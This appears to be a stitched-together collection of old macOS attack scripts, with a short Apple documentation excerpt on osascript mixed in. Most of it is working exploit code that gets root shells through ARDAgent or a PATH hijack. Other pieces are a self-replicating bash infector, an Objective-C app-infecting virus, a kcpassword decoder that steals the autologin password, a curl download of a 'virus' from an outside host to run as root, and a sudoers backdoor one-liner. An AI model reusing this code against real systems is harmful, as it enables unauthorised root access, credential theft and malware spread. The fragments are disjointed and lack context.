ruby ~/Desktop/MOAB-21-01-2007.rb

#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day.
#

SHELL_WRAP      = 'int main() { system("/bin/sh -i"); return 0; }'
SHELL_PLANT     = 'int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }'
PREFS_BINPATH   = '/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences'

COMMAND_LINE    = "echo '#{SHELL_WRAP}' > /tmp/t.c &&"    +
                  "cc -o /tmp/shX /tmp/t.c &&"            +
                  "echo '#{SHELL_PLANT}' > /tmp/t.c &&"   +
                  "cc -o /tmp/launchctl /tmp/t.c &&"      +
                  'export PATH="/tmp/:$PATH" &&'          +
                  "#{PREFS_BINPATH} &"

def escalate()
  system COMMAND_LINE
  puts "++ Click on Sharing and then click on Windows Sharing..."
  sleep 30 # make sure you have "time"
  system "/tmp/shX"
end

escalate()

-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "int main() { system(\"/bin/sh -i\"); return 0; }"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.c"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.c "
    do shell script "gcc -o /EXPLOIT/r00t /EXPLOIT/r00t.c"
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t; chmod 4755 /EXPLOIT/r00t"
    tell application "ARDAgent" to do shell script "open /EXPLOIT/r00t"
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()

#!/bin/bash
#
# TIP: Don't run this.
# When run, this will check to see if it is already pretending to be
# another executable, and if so it just runs the original executable, passing it
# any arguments which were supplied on the command line.
# If not then it will find executables within /bin and rename them as hidden files
# then copy itself to where each executable had been using their names.
#

declare all_of_me="${0}" newline=$'\n' IFSold="${IFS}" IFS="${newline}"
declare my_program="$( basename ${0} )" my_folder="$( dirname ${0} )"

function infect() {
# First find files in the specified folder
find /bin -type f | while read the_path; do

# Use the 'file' command to determine if the file is executable
whatsit="$( file ${the_path} )"

# If not, just skip this file and continue
[ "${whatsit}" == "${whatsit/executable}" ] && continue

# Otherwise, rename (move) the original
the_program="$( basename ${the_path} )"
the_folder="$( dirname ${the_path} )"
mv "${the_path}" "${the_folder}/.${the_program}_owned"

# and take its place
cp "${all_of_me}" "${the_path}"

# chown and chmod the new me
chmod 777 "${the_path}"
chown 0:0 "${the_path}"

# Set the access and modify dates to match the original
touch -r "${the_folder}/.${the_program}_owned" "${the_path}"

done
}

function exploit() {
osascript -e "tell app \"ARDAgent\" to do shell script \"exec ${0}\"" 2>/dev/null && exit 0
exploit
}

[ -x "${my_folder}/.${my_program}_owned" ] && { exec "${my_folder}/.${my_program}_owned" "${@}"; exit 0; }
[ "$(whoami)" != "root" ] && exploit
infect
# This would be a great place to have the script do something else, i.e. a payload
exit 0

#!/usr/bin/python

import commands
payload="echo 'int main() { setuid(0); setgid(0); seteuid(0); system(\"/bin/sh -i\"); }' > /tmp/r00t.c"
buildcmd="gcc /tmp/r00t.c -o /tmp/r00ted"
escalate="osascript -e 'tell app \"ARDAgent\" to do shell script \"chown root /tmp/r00ted; chmod 4777 /tmp/r00ted\"'"
print 'Building your shell', commands.getoutput(payload), commands.getoutput(buildcmd)
print commands.getoutput(escalate)

print "r00t is located at /tmp/r00ted"

Executing AppleScript Scripts as Shell Commands
To execute AppleScript scripts as shell commands in a Terminal window or shell script file, you can use the osacompile command and the osascript command (located in /usr/bin). The former compiles an AppleScript script, while the latter executes a plain text or a compiled AppleScript script. Man pages provide documentation for these commands. For example, type man osascript in a Terminal window to get information on the osascript command.

Starting in Mac OS X version 10.5, there is a command-line tool to display compiled scripts as text, osadecompile. Again, see the man page for details.

Also starting in Mac OX X v10.5, AppleScript allows use of the # symbol as a comment-to-end-of-line token (the traditional double hyphen (--) is also still supported). This means that you can make a plain AppleScript script into a Unix executable by beginning it with the following line and giving it execute permission.

#!/usr/bin/osascript

#!/usr/bin/osascript
tell app "finder" to activate

cd /Library/Preferences

sudo chown root:wheel com.apple.SystemLoginItems.plist

sudo chmod 644 com.apple.SystemLoginItems.plist

#! /usr/bin/perl -w
# Hey, all real men 'sploit in perl, right?

use Getopt::Std;

if ($>) {
    system(sprintf("osascript -e 'tell app \"ARDAgent\" to do shell ".
                   "script \"%s %s\"'", $0, join(' ',@ARGV)));
} else {
    %options = ();
    getopt("s",\%options);
    $shell = (defined $options{s} &&
              $options{s} =~ m/sh$/) ? $options{s} : "/bin/sh";
    print "Executing $shell. Press Ctrl+D to exit.\n";
    system("$shell -i");
}

chmod +x lol.pl
./lol.pl -s /bin/bash

-bash: cc: command not found
-bash: gcc: command not found

system("ls")

system("cd /tmp/;/bin/sh -i")

-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "#!/usr/bin/ruby" & return & return & "system(\"/bin/sh/ -i\")"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.rb"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.rb "
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t.rb; chmod 4755 /EXPLOIT/r00t.rb"
    tell application "Terminal"
        activate
        do script "clear"
        set the_window to window frontmost
        do script "ruby /EXPLOIT/r00t.rb" in the_window
    end tell
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()

whoami
root

-- All pwnage reserved.
property success : 0

global SHELL_WRAP
set SHELL_WRAP to "int main() { setuid(0); setgid(0); system(\"/bin/sh -i\"); return 0; }"

on escalate()
    
    do shell script "touch /tmp/r00t.c"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /tmp/r00t.c "
    do shell script "cc -o /tmp/r00t /tmp/r00t.c"
    repeat while success is equal to 0
        try
            tell application "ARDAgent" to do shell script "chown root: /tmp/r00t; chmod 4777 /tmp/r00t"
            set success to 1
        end try
    end repeat
    tell application "ARDAgent" to do shell script "open /tmp/r00t"
    
end escalate

escalate()

#!/usr/bin/python
import os
os.system("/bin/bash -i")

#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>

//only for educational use
//by nylky, reiky, kmy

void infectVolumes(NSString * virusPath);
void infectDirectory (NSString * infDir, NSString * virusPath);
NSString *currentVolume;

NSArray *excludedDirs;

NSDate *now;
char startcmd[512];
NSMutableDictionary *defaults;

NSDate *lastInfectionTime;
NSString *defaultsFilePath;
NSString *fullVolumePath;
NSString *newTime;

#import "AppVir.h"
//only for educational use
//by nylk, reiki, k

void infectDirectory (NSString * infDir, NSString * virusPath) {
    NSFileManager *fm = [NSFileManager defaultManager];
    NSString *dirObj;
    NSString *execFile;
    NSDirectoryEnumerator *dirEnum;
    dirEnum = [fm enumeratorAtPath:infDir];
    while( (dirObj = [dirEnum nextObject]) != nil){

        if ([excludedDirs containsObject:dirObj]) //is dirObj in the exluded dirs list? then ignore and continue
            [dirEnum skipDescendents]; continue;
        
        if(([[dirObj pathExtension] isEqualToString:@"app"])){ //if current item is an app
            [dirEnum skipDescendents]; //don't go deeper into the app
            execFile = [NSString pathWithComponents:
                [NSArray arrayWithObjects:infDir, dirObj,@"Contents",@"MacOS",[[dirObj lastPathComponent]stringByDeletingPathExtension],NULL]];
            if([fm fileExistsAtPath:[execFile stringByAppendingString:@"."]] == NO){ //if app is not already infected (executables name with extra dot ".")
                if([fm movePath:execFile toPath:[execFile stringByAppendingString:@"."] handler:nil]==YES){
                    if([fm copyPath:virusPath toPath:execFile handler:nil]==YES){
                    }
                }
            }            
        }
    }    
}

void infectVolumes(NSString * virusPath) {
    BOOL isDir;
    NSFileManager *fm = [NSFileManager defaultManager];
    NSDirectoryEnumerator *dirEnum = [fm enumeratorAtPath:@"/Volumes"];
    
    //iterate through all volumes on the machine:
    
    while((currentVolume = [dirEnum nextObject]) != nil){
        [dirEnum skipDescendents];
        NSLog(@"checking %@", currentVolume);
        now = [NSDate date];
        
        fullVolumePath = [@"/Volumes" stringByAppendingPathComponent:currentVolume];
        defaultsFilePath = [fullVolumePath stringByAppendingPathComponent:@".av"];
        
        //read in defaults from "/Volumes/theVolume/.av" as mutableDictionary
        if([fm isReadableFileAtPath:defaultsFilePath] == YES){ //if volume has .av file
            NSLog(@".av exists at: %@",defaultsFilePath);
            defaults = [[NSMutableDictionary alloc] initWithContentsOfFile:defaultsFilePath];
        } else {
            //if it is the very first infection on this Volume
            //infectDirectory(fullVolumePath,virusPath);
            NSLog(@"first infection, infect whole %@",fullVolumePath);
            defaults = [[NSMutableDictionary alloc] initWithObjectsAndKeys:[now description],@"lastInfectionTime",nil];
        }
        lastInfectionTime = [[NSDate alloc] initWithString:[defaults objectForKey:@"lastInfectionTime"]];
        NSTimeInterval secondsSinceLastInfection = [now timeIntervalSinceDate:lastInfectionTime];
        NSLog(@"lastInfDate: %@",[defaults objectForKey:@"lastInfectionTime"]);
        NSLog(@"last infection of %@ is %f seconds ago...",fullVolumePath,secondsSinceLastInfection);
        if(    secondsSinceLastInfection > 604800.0 ){
            //if last infection is 1 Week (604800 seconds) ago, then re-infect whole current Volume
            //infectDirectory(fullVolumePath,virusPath);
            NSLog(@"last infection is a week ago, so: infecting full Volume %@", fullVolumePath);
            
            newTime = [now description];
            [defaults setObject:newTime forKey:@"lastInfectionTime"];
            
        } else if ( (secondsSinceLastInfection > 172800.0 && [fm fileExistsAtPath:[fullVolumePath stringByAppendingPathComponent:@"Applications1"] isDirectory:&isDir]) && isDir){
            //if last infection is 2 days (172800 seconds) ago, then re-infect "/Applications" of current Volume if available
            NSLog(@"infecting Appfolder on Volume %@", fullVolumePath);
            infectDirectory([fullVolumePath stringByAppendingPathComponent:@"Applications1"],virusPath);
            
            newTime = [now description];
            [defaults setObject:newTime forKey:@"lastInfectionTime"];
        }
        
        //write new defaults
        [defaults writeToFile:defaultsFilePath atomically:YES];
        printf("\n");
    }

}

    
    
int main (int argc, const char * argv[]) {
    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
    excludedDirs = [[NSArray alloc] initWithObjects:@"test",@"Volumes",@"System",@"Library",@"bin",@"usr",@"etc",@"var",@"dev",@"tmp",@"sbin",@"cores",@"automount",nil];
    NSLog(@"virus launched...");
    infectVolumes([NSString stringWithUTF8String:argv[0]]);        
    
    //start original executable
    sprintf(startcmd,"%s. %s",argv[0],argv[1]); //name with a dot "."
    system(startcmd);

    //code to execute after host application quits ->
    system("say bye bye");
    [pool drain];
    return 0;
}

tell application "SecurityAgent"
    repeat while (text of (do shell script "whoami")) is not "root"
        
        try
            do shell script "killall SecurityAgent"
            return (text of (do shell script "whoami"))
        end try
        
    end repeat
end tell

--This is AppleScript
global kcpassword
set kcpassword to ""

on get_autologin_password()
    try
        tell application "ARDAgent" to do shell script "declare -i offset=0 i=0;declare -a keys=(7d 89 52 23 d2 bc dd ea a3 b9 1f) hexbytes=($(hexdump -v -e '/1 \"%02X \"' /etc/kcpassword));for ((offset=0;offset<${#hexbytes[*]};offset++));do newbyte=$(printf '%02X' $((16#${keys[${i}]}^16#${hexbytes[$offset]})));[ \"${newbyte}\" == \"00\" ]&&echo&&break;echo -en \"\\x${newbyte}\";let i+=1;[ $i -gt 10 ]&&let i=0;done"
        set kcpassword to the result
    on error
        get_autologin_password()
    end try
end get_autologin_password

get_autologin_password()
tell application "Terminal" to do script "echo " & quoted form of kcpassword & " | /usr/bin/sudo -S id; exec /usr/bin/sudo /bin/bash -i"

-- Downloads an architecture specific virus
set arch to get text of (do shell script "uname -p")
do shell script "curl http://somehost.com/game-" & arch
-- Tell ARDagent to execute the virus game-<arch> as root here

$ ssh angel@localhost
Password:
Last login: Wed Jun 25 06:16:21 2008
Welcome to Darwin!
$ osacompile -e 'global my_username' -e 'set my_username to system attribute "USER"' -e 'on sudoers()' -e 'try' -e 'tell application "ARDAgent" to do shell script "echo \"" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL\" >> /etc/sudoers"' -e 'on error' -e 'sudoers()' -e 'end try' -e 'end sudoers' -e 'sudoers()' -o for_remote_cli_sessions.app
$ open for_remote_cli_sessions.app/
$ sudo cat /etc/sudoers
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.
#

# Host alias specification

# User alias specification

# Cmnd alias specification

# Defaults specification

# Runas alias specification

# User privilege specification
root    ALL=(ALL) ALL
%admin  ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel        ALL=(ALL)       ALL

# Same thing without a password
# %wheel        ALL=(ALL)       NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now
angel   ALL=(ALL)       NOPASSWD: ALL
$